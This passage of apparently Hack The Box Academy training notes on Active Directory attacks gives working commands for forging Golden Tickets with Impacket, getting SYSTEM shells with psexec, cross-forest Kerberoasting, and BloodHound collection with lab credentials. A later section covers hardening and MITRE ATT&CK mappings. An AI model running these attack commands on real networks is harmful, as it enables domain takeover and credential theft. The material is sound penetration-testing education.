SIDs. **Grabbing the Domain SID & Attaching to Enterprise Admin's RID** ```bash lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins" ``` Next, we can use [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py) from the Impacket toolkit to construct a Golden Ticket. This ticket will be valid to access resources in the child domain (specified by `-domain-sid`) and the parent domain (specified by `-extra-sid`). **Constructing a Golden Ticket using ticketer.py** ```bash ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker ``` The ticket will be saved down to our system as a [credential cache (ccache)](https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html) file, which is a file used to hold Kerberos credentials. Setting the `KRB5CCNAME` environment variable tells the system to use this file for Kerberos authentication attempts. **Setting the KRB5CCNAME Environment Variable** ```shell-session export KRB5CCNAME=hacker.ccache ``` We can check if we can successfully authenticate to the parent domain's Domain Controller using [Impacket's version of Psexec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py). If successful, we will be dropped into a SYSTEM shell on the target Domain Controller. ```bash psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5 ``` Impacket also has the tool [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py), which will automate escalating from child to parent domain. We need to specify the target domain controller and credentials for an administrative user in the child domain. the script will do the rest. If we walk through the output, we see that it starts by listing out the child and parent domain's fully qualified domain names (FQDN). It then: * Obtains the SID for the Enterprise Admins group of the parent domain * Retrieves the hash for the KRBTGT account in the child domain * Creates a Golden Ticket * Logs into the parent domain * Retrieves credentials for the Administrator account in the parent domain Finally, if the `target-exec` switch is specified, it authenticates to the parent domain's Domain Controller via Psexec. **Performing the Attack with raiseChild.py** ```bash raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm ``` {% hint style="warning" %} In a client production environment, we should **`always`** be careful when running any sort of "autopwn" script like this, and always remain cautious and construct commands manually when possible. `We don't want to tell the client that something broke because we used an "autopwn" script!` {% endhint %} # Domain Trusts - Cross Forest ## Attacking Domain Trusts - Cross-Forest Trust Abuse - from Windows ### Cross-Forest Kerberoasting Kerberos attacks such as Kerberoasting and ASREPRoasting can be performed across trusts, depending on the trust direction. In a situation where you are positioned in a domain with either an inbound or bidirectional domain/forest trust, you can likely perform various attacks to gain a foothold. Sometimes you cannot escalate privileges in your current domain, but instead can obtain a Kerberos ticket and crack a hash for an administrative user in another domain that has Domain/Enterprise Admin privileges in both domains. We can utilize PowerView to enumerate accounts in a target domain that have SPNs associated with them. **Enumerating Accounts for Associated SPNs Using Get-DomainUser** ```powershell Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName ```
Output ```powershell-session samaccountname -------------- krbtgt mssqlsvc ```
We see that there is one account with an SPN in the target domain. A quick check shows that this account is a member of the Domain Admins group in the target domain, so if we can Kerberoast it and crack the hash offline, we'd have full admin rights to the target domain. **Enumerating the mssqlsvc Account** ```powershell Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc | select samaccountname,memberof ``` Let's perform a Kerberoasting attack across the trust using `Rubeus`. We run the tool as we did in the Kerberoasting section, but we include the `/domain:` flag and specify the target domain. **Performing a Kerberoasting Attacking with Rubeus Using /domain Flag** ```powershell .\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap ``` We could then run the hash through Hashcat. If it cracks, we've now quickly expanded our access to fully control two domains by leveraging a pretty standard attack and abusing the authentication direction and setup of the bidirectional forest trust. ### Admin Password Re-Use & Group Membership If we can take over Domain A and obtain cleartext passwords or NT hashes for either the built-in Administrator account (or an account that is part of the Enterprise Admins or Domain Admins group in Domain A), and Domain B has a highly privileged account with the same name, then it is worth checking for password reuse across the two forests. We may also see users or admins from Domain A as members of a group in Domain B. Only `Domain Local Groups` allow security principals from outside its forest. We may see a Domain Admin or Enterprise Admin from Domain A as a member of the built-in Administrators group in Domain B in a bidirectional forest trust relationship. If we can take over this admin user in Domain A, we would gain full administrative access to Domain B based on group membership. We can use the PowerView function [Get-DomainForeignGroupMember](https://powersploit.readthedocs.io/en/latest/Recon/Get-DomainForeignGroupMember) to enumerate groups with users that do not belong to the domain, also known as `foreign group membership`. **Using Get-DomainForeignGroupMember** ```powershell Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL Convert-SidToName S-1-5-21-3842939050-3880317879-2865463114-500 ```
Output ```powershell-session PS C:\htb> Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL GroupDomain : FREIGHTLOGISTICS.LOCAL GroupName : Administrators GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=FREIGHTLOGISTICS,DC=LOCAL MemberDomain : FREIGHTLOGISTICS.LOCAL MemberName : S-1-5-21-3842939050-3880317879-2865463114-500 MemberDistinguishedName : CN=S-1-5-21-3842939050-3880317879-2865463114-500,CN=ForeignSecurityPrincipals,DC=FREIGHTLOGIS TICS,DC=LOCAL PS C:\htb> Convert-SidToName S-1-5-21-3842939050-3880317879-2865463114-500 INLANEFREIGHT\administrator ```
The above command output shows that the built-in Administrators group in `FREIGHTLOGISTICS.LOCAL` has the built-in Administrator account for the `INLANEFREIGHT.LOCAL` domain as a member. **Accessing DC03 Using Enter-PSSession** ```powershell Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator ``` From the command output above, we can see that we successfully authenticated to the Domain Controller in the `FREIGHTLOGISTICS.LOCAL` domain using the Administrator account from the `INLANEFREIGHT.LOCAL` domain across the bidirectional forest trust. ### SID History Abuse - Cross Forest If the SID of an account with administrative privileges in Forest A is added to the SID history attribute of an account in Forest B, assuming they can authenticate across the forest, then this account will have administrative privileges when accessing resources in the partner forest. In the below diagram, we can see an example of the `jjones` user being migrated from the `INLANEFREIGHT.LOCAL` domain to the `CORP.LOCAL` domain in a different forest. If SID filtering is not enabled when this migration is made and the user has administrative privileges (or any type of interesting rights such as ACE entries, access to shares, etc.) in the `INLANEFREIGHT.LOCAL` domain, then they will retain their administrative rights/access in `INLANEFREIGHT.LOCAL` while being a member of the new domain, `CORP.LOCAL` in the second forest.
This attack will be covered in-depth in a later module focusing more heavily on attacking AD trusts. ## Attacking Domain Trusts - Cross-Forest Trust Abuse - from Linux As we saw in the previous section, it is often possible to Kerberoast across a forest trust. If this is possible in the environment we are assessing, we can perform this with `GetUserSPNs.py` from our Linux attack host. To do this, we need credentials for a user that can authenticate into the other domain and specify the `-target-domain` flag in our command. ### Cross-Forest Kerberoasting **Using GetUserSPNs.py** ```bash GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley ``` Rerunning the command with the `-request` flag added gives us the TGS ticket. We could also add `-outputfile ` to output directly into a file that we could then turn around and run Hashcat against. **Using the -request Flag** ```bash GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley ``` We could then attempt to crack this offline using Hashcat with mode `13100`. If we are successful with this type of attack during a real-world assessment, it would also be worth checking to see if this account exists in our current domain and if it suffers from password re-use. Even if we already have control over the current domain, it would be worth adding a finding to our report if we do find password re-use across similarly named accounts in different domains. {% hint style="info" %} Suppose we can Kerberoast across a trust and have run out of options in the current domain. In that case, it could also be worth attempting a single password spray with the cracked password, as there is a possibility that it could be used for other service accounts if the same admins are in charge of both domains. Here, we have yet another example of iterative testing and leaving no stone unturned. {% endhint %} ### Hunting Foreign Group Membership with Bloodhound-python As noted in the last section, we may, from time to time, see users or admins from one domain as members of a group in another domain. Since only `Domain Local Groups` allow users from outside their forest, it is not uncommon to see a highly privileged user from Domain A as a member of the built-in administrators group in domain B when dealing with a bidirectional forest trust relationship. If we are testing from a Linux host, we can gather this information by using the [Python implementation of BloodHound](https://github.com/fox-it/BloodHound.py). We can use this tool to collect data from multiple domains, ingest it into the GUI tool and search for these relationships. On some assessments, our client may provision a VM for us that gets an IP from DHCP and is configured to use the internal domain's DNS. We will be on an attack host without DNS configured in other instances. In this case, we would need to edit our `resolv.conf` file to run this tool since it requires a DNS hostname for the target Domain Controller instead of an IP address. **Adding INLANEFREIGHT.LOCAL Information to /etc/resolv.conf** ```shell-session domain INLANEFREIGHT.LOCAL nameserver 172.16.5.5 ``` Once this is in place, we can run the tool against the target domain as follows: ```bash bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2 ``` We can compress the resultant json files to upload one single zip file directly into the BloodHound GUI. **Compressing the File with zip -r** ```bash zip -r ilfreight_bh.zip *.json ``` We will repeat the same process, this time filling in the details for the `FREIGHTLOGISTICS.LOCAL` domain. **Adding FREIGHTLOGISTICS.LOCAL Information to /etc/resolv.conf (remove previous)** ```shell-session domain FREIGHTLOGISTICS.LOCAL nameserver 172.16.5.238 ``` The `bloodhound-python` command will look similar to the previous one: **Running bloodhound-python Against FREIGHTLOGISTICS.LOCAL** ```bash bloodhound-python -d FREIGHTLOGISTICS.LOCAL -dc ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -c All -u forend@inlanefreight.local -p Klmcargo2 ``` After uploading the second set of data (either each JSON file or as one zip file), we can click on `Users with Foreign Domain Group Membership` under the `Analysis` tab and select the source domain as `INLANEFREIGHT.LOCAL` Here, we will see the built-in Administrator account for the INLANEFREIGHT.LOCAL domain is a member of the built-in Administrators group in the FREIGHTLOGISTICS.LOCAL domain as we saw previously.
# Defensive Considerations ## Hardening Active Directory *** Let's take some time to look at a few hardening measures that can be put in place to stop common TTPs like those we utilized in this module from being successful or providing any helpful information. Our goal as penetration testers is to help provide a better operational picture of our customers' network to their defenders and help improve their security posture. So we should understand some of the common defense tactics that can be implemented and how they would affect the networks we are assessing. These basic hardening steps will do much more for an organization (regardless of size) than purchasing the next big EDR or SIEM tool. Those extra defensive measures and equipment only help if you have a baseline security posture with features like logging enabled and proper documentation and tracking of the hosts within the network. ### Step One: Document and Audit Proper AD hardening can keep attackers contained and prevent lateral movement, privilege escalation, and access to sensitive data and resources. One of the essential steps in AD hardening is understanding everything present in your AD environment. An audit of everything listed below should be done annually, if not every few months, to ensure your records are up to date. We care about: **Things To Document and Track** * `Naming conventions of OUs, computers, users, groups` * `DNS, network, and DHCP configurations` * `An intimate understanding of all GPOs and the objects that they are applied to` * `Assignment of FSMO roles` * `Full and current application inventory` * `A list of all enterprise hosts and their location` * `Any trust relationships we have with other domains or outside entities` * `Users who have elevated permissions` *** ### People, Processes, and Technology AD hardening can be broken out into the categories *People*, *Process,* and *Technology*. These hardening measures will encompass the hardware, software, and human aspects of any network. #### People In even the most hardened environment, users remain the weakest link. Enforcing security best practices for standard users and administrators will prevent "easy wins" for pentesters and malicious attackers. We should also strive to keep our users educated and aware of threats to themselves. The measures below are a great way to start securing the Human element of an AD environment. * The organization should have a strong password policy, with a password filter that disallows the use of common words (i.e., welcome, password, names of months/days/seasons, and the company name). If possible, an enterprise password manager should be used to assist users with choosing and using complex passwords. * Rotate passwords periodically for **all** service accounts. * Disallow local administrator access on user workstations unless a specific business need exists. * Disable the default `RID-500 local admin` account and create a new admin account for administration subject to LAPS password rotation. * Implement split tiers of administration for administrative users. Too often, during an assessment, you will gain access to Domain Administrator credentials on a computer that an administrator uses for all work activities. * Clean up privileged groups. `Does the organization need 50+ Domain/Enterprise Admins?` Restrict group membership in highly privileged groups to only those users who require this access to perform their day-to-day system administrator duties. * Where appropriate, place accounts in the `Protected Users` group. * Disable Kerberos delegation for administrative accounts (the Protected Users group may not do this) #### Protected Users Group The [Protected Users group](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group) first appeared with Window Server 2012 R2. This group can be used to restrict what members of this privileged group can do in a domain. Adding users to Protected Users prevents user credentials from being abused if left in memory on a host. **Viewing the Protected Users Group with Get-ADGroup** Hardening Active Directory ```powershell-session PS C:\Users\htb-student> Get-ADGroup -Identity "Protected Users" -Properties Name,Description,Members Description : Members of this group are afforded additional protections against authentication security threats. See http://go.microsoft.com/fwlink/?LinkId=298939 for more information. DistinguishedName : CN=Protected Users,CN=Users,DC=INLANEFREIGHT,DC=LOCAL GroupCategory : Security GroupScope : Global Members : {CN=sqlprod,OU=Service Accounts,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL, CN=sqldev,OU=Service Accounts,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL} Name : Protected Users ObjectClass : group ObjectGUID : e4e19353-d08f-4790-95bc-c544a38cd534 SamAccountName : Protected Users SID : S-1-5-21-2974783224-3764228556-2640795941-525 ``` The group provides the following Domain Controller and device protections: * Group members can not be delegated with constrained or unconstrained delegation. * CredSSP will not cache plaintext credentials in memory even if Allow delegating default credentials is set within Group Policy. * Windows Digest will not cache the user's plaintext password, even if Windows Digest is enabled. * Members cannot authenticate using NTLM authentication or use DES or RC4 keys. * After acquiring a TGT, the user's long-term keys or plaintext credentials are not cached. * Members cannot renew a TGT longer than the original 4-hour TTL. Note: The Protected Users group can cause unforeseen issues with authentication, which can easily result in account lockouts. An organization should never place all privileged users in this group without staged testing. Along with ensuring your users cannot cause harm to themselves, we should consider our policies and procedures for domain access and control. #### Processes Maintaining and enforcing policies and procedures that can significantly impact an organization's overall security posture is necessary. Without defined policies, it is impossible to hold an organization's employees accountable, and difficult to respond to an incident without defined and practiced procedures such as a disaster recovery plan. The items below can help to define processes, policies, and procedures. * Proper policies and procedures for AD asset management. * AD host audit, the use of asset tags, and periodic asset inventories can help ensure hosts are not lost. * Access control policies (user account provisioning/de-provisioning), multi-factor authentication mechanisms. * Processes for provisioning and decommissioning hosts (i.e., baseline security hardening guideline, gold images) * AD cleanup policies * `Are accounts for former employees removed or just disabled?` * `What is the process for removing stale records from AD?` * Processes for decommissioning legacy operating systems/services (i.e., proper uninstallation of Exchange when migrating to 0365). * Schedule for User, groups, and hosts audit. #### Technology Periodically review AD for legacy misconfigurations and new and emerging threats. As changes are made to AD, ensure that common misconfigurations are not introduced. Pay attention to any vulnerabilities introduced by AD and tools or applications utilized in the environment. * Run tools such as BloodHound, PingCastle, and Grouper periodically to identify AD misconfigurations. * Ensure that administrators are not storing passwords in the AD account description field. * Review SYSVOL for scripts containing passwords and other sensitive data. * Avoid the use of "normal" service accounts, utilizing Group Managed (gMSA) and Managed Service Accounts (MSA) where ever possible to mitigate the risk of Kerberoasting. * Disable Unconstrained Delegation wherever possible. * Prevent direct access to Domain Controllers through the use of hardened jump hosts. * Consider setting the `ms-DS-MachineAccountQuota` attribute to `0`, which disallows users from adding machine accounts and can prevent several attacks such as the noPac attack and Resource-Based Constrained Delegation (RBCD) * Disable the print spooler service wherever possible to prevent several attacks * Disable NTLM authentication for Domain Controllers if possible * Use Extended Protection for Authentication along with enabling Require SSL only to allow HTTPS connections for the Certificate Authority Web Enrollment and Certificate Enrollment Web Service services * Enable SMB signing and LDAP signing * Take steps to prevent enumeration with tools like BloodHound * Ideally, perform quarterly penetration tests/AD security assessments, but if budget constraints exist, these should be performed annually at the very least. * Test backups for validity and review/practice disaster recovery plans. * Enable the restriction of anonymous access and prevent null session enumeration by setting the `RestrictNullSessAccess` registry key to `1` to restrict null session access to unauthenticated users. *** ### Protections By Section As a different look at this, we have broken out the significant actions by section and correlated controls based on the TTP and a MITRE tag. Each tag corresponds with a section of the [Enterprise ATT\&CK Matrix](https://attack.mitre.org/tactics/enterprise/) found here. Any tag marked as `TA` corresponds to an overarching tactic, while a tag marked as `T###` is a technique found in the matrix under tactics. | **TTP** | **MITRE Tag** | **Description** | | -------------------------- | ------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `External Reconnaissance` | `T1589` | This portion of an attack is extremely hard to detect and defend against. An attacker does not have to interact with your enterprise environment directly, so it's impossible to tell when it is happening. What can be done is to monitor and control the data you release publically to the world. Job postings, documents (and the metadata left attached), and other open information sources like BGP and DNS records all reveal something about your enterprise. Taking care to `scrub` documents before release can ensure an attacker cannot glean user naming context from them as an example. The same can be said for not providing detailed information about tools and equipment utilized in your networks via job postings. | | `Internal Reconnaissance` | `T1595` | For reconnaissance of our internal networks, we have more options. This is often considered an active phase and, as such, will generate network traffic which we can monitor and place defenses based on what we see. `Monitoring network traffic` for any suspicious bursts of packets of a large volume from any one source or several sources can be indicative of scanning. A properly configured `Firewall` or `Network Intrusion Detection System` (`NIDS`) will spot these trends quickly and alert on the traffic. Depending on the tool or appliance, it may even be able to add a rule blocking traffic from said hosts proactively. The utilization of network monitoring coupled with a SIEM can be crucial to spotting reconnaissance. Properly tuning the Windows Firewall settings or your EDR of choice to not respond to ICMP traffic, among other types of traffic, can help deny an attacker any information they may glean from the results. | | `Poisoning` | `T1557` | Utilizing security options like `SMB message signing` and `encrypting traffic` with a strong encryption mechanism will go a long way to stopping poisoning & man-in-the-middle attacks. SMB signing utilizes hashed authentication codes and verifies the identity of the sender and recipient of the packet. These actions will break relay attacks since the attacker is just spoofing traffic. | | `Password Spraying` | `T1110/003` | This action is perhaps the easiest to defend against and detect. Simple logging and monitoring can tip you off to password spraying attacks in your network. Watching your logs for multiple attempts to login by watching `Event IDs 4624` and `4648` for strings of invalid attempts can tip you off to password spraying or brute force attempts to access the host. Having strong password policies, an account lockout policy set, and utilizing two-factor or multi-factor authentication can all help prevent the success of a password spray attack. For a deeper look at the recommended policy settings, check out this [article](https://www.netsec.news/summary-of-the-nist-password-recommendations-for-2021/) and the [NIST](https://pages.nist.gov/800-63-3/sp800-63b.html) documentation. | | `Credentialed Enumeration` | `TA0006` | There is no real defense you can put in place to stop this method of attack. Once an attacker has valid credentials, they effectively can perform any action that the user is allowed to do. A vigilant defender can detect and put a stop to this, however. Monitoring for unusual activity such as issuing commands from the CLI when a user should not have a need to utilize it. Multiple RDP requests sent from host to host within the network or movement of files from various hosts can all help tip a defender off. If an attacker manages to acquire administrative privileges, this can become much more difficult, but there are network heuristics tools that can be put in place to analyze the network constantly for anomalous activity. Network segmentation can help a lot here. | | `LOTL` | N/A | It can be hard to spot an attacker while they are utilizing the resources built-in to host operating systems. This is where having a `baseline of network traffic` and `user behavior` comes in handy. If your defenders understand what the day-to-day regular network activity looks like, you have a chance to spot the abnormal. Watching for command shells and utilizing a properly configured `Applocker policy` can help prevent the use of applications and tools users should not have access to or need. | | `Kerberoasting` | `T1558/003` | Kerberoasting as an attack technique is widely documented, and there are plenty of ways to spot it and defend against it. The number one way to protect against Kerberoasting is to `utilize a stronger encryption scheme than RC4` for Kerberos authentication mechanisms. Enforcing strong password policies can help prevent Kerberoasting attacks from being successful. `Utilizing Group Managed service accounts` is probably the best defense as this makes Kerberoasting no longer possible. Periodically `auditing` your users' account permissions for excessive group membership can be an effective way to spot issues. | **MITRE ATT\&CK Breakdown** ![text](https://academy.hackthebox.com/storage/modules/143/mitre.gif) I wanted to take a second to show everyone how it appears when exploring the ATT\&CK framework. We will use the example above of `Kerberoasting` to look at it through the lens of the framework. Kerberoasting is a part of the larger `Tactic tag TA0006 Credential Access` (Green square in the image above). Tactics encompass the overall goal of the actor and will contain various techniques which map to that goal. Within this scope, you will see all manner of credential-stealing techniques. We can scroll down and look for `Steal or Forge Kerberos Tickets`, which is `Technique Tag T1558` (blue square in the image above). This technique contains four sub-techniques (indicated by the `.00#` beside the technique name) Golden Ticket, Silver Ticket, Kerberoasting, and AS-REP Roasting. Since we care about Kerberoasting, we would select the sub-technique `T1558.003` (orange box in the image above), and it will take us to a new page. Here, we can see a general explanation of the technique, the information referencing the ATT\&CK platform classification on the top right, examples of its use in the real world, ways to mitigate and detect the tactic, and finally, references for more information at the bottom of the page. So our technique would be classified under `TA0006/T1558.003`. This is how the Tactic/Technique tree would be read. There are many different ways to navigate the framework. We just wanted to provide some clarification on what we were looking for and how we were defining tactics versus techniques when talking about MITRE ATT\&CK in this module. This framework is great to explore if you are curious about a `Tactic` or `Technique` and want more information about it. *** These are not an exhaustive list of defensive measures, but they are a strong start. As attackers, if we understand the potential defensive measures we can face during our assessments, we can plan for alternate means of exploitation and movement. We won't win every battle; some defenders may have their environments locked down tight and see every move you make, but others may have missed one of these recommendations. It is important to explore them all, and help provide the defensive team with the best results possible. Also, understanding how the attacks and defenses work will make us improve cybersecurity practitioners overall. ## Additional AD Auditing Techniques *** Along with discussing the hardening of an AD domain, we wanted to discuss `AD auditing`. We want to provide our customers with as much information as possible to help solve the potential issues we find. Doing so will give them more data to prove they have a problem and help acquire backing and funding to tackle those fixes. The tools in this section can be utilized to provide different visualizations and data output for this purpose. *** ### Creating an AD Snapshot with Active Directory Explorer [AD Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) is part of the Sysinternal Suite and is described as: "An advanced Active Directory (AD) viewer and editor. You can use AD Explorer to navigate an AD database easily, define favorite locations, view object properties, and attributes without opening dialog boxes, edit permissions, view an object's schema, and execute sophisticated searches that you can save and re-execute." AD Explorer can also be used to save snapshots of an AD database for offline viewing and comparison. We can take a snapshot of AD at a point in time and explore it later, during the reporting phase, as you would explore any other database. It can also be used to perform a before and after comparison of AD to uncover changes in objects, attributes, and security permissions. When we first load the tool, we are prompted for login credentials or to load a previous snapshot. We can log in with any valid domain user. **Logging in with AD Explorer** ![image](https://academy.hackthebox.com/storage/modules/47/AD_explorer1.png) Once logged in, we can freely browse AD and view information about all objects. **Browsing AD with AD Explorer** ![image](https://academy.hackthebox.com/storage/modules/47/AD_explorer_logged_in.png) To take a snapshot of AD, go to File --> `Create Snapshot` and enter a name for the snapshot. Once it is complete, we can move it offline for further analysis. **Creating a Snapshot of AD with AD Explorer** ![image](https://academy.hackthebox.com/storage/modules/47/AD_explorer_snapshot.png) *** ### PingCastle [PingCastle](https://www.pingcastle.com/documentation/) is a powerful tool that evaluates the security posture of an AD environment and provides us the results in several different maps and graphs. Thinking about security for a second, if you do not have an active inventory of the hosts in your enterprise, PingCastle can be a great resource to help you gather one in a nice user-readable map of the domain. PingCastle is different from tools such as PowerView and BloodHound because, aside from providing us with enumeration data that can inform our attacks, it also provides a detailed report of the target domain's security level using a methodology based on a risk assessment/maturity framework. The scoring shown in the report is based on the [Capability Maturity Model Integration](https://en.wikipedia.org/wiki/Capability_Maturity_Model_Integration) (CMMI). For a quick look at the help context provided, you can issue the `--help` switch in cmd-prompt. Note: If you are having issues with starting the tool, please change the date of the system to a date before 31st of July 2023 using the Control Panel (Set the time and date). **Viewing the PingCastle Help Menu** Additional AD Auditing Techniques ```cmd-session C:\htb> PingCastle.exe --help switch: --help : display this message --interactive : force the interactive mode --log : generate a log file --log-console : add log to the console --log-samba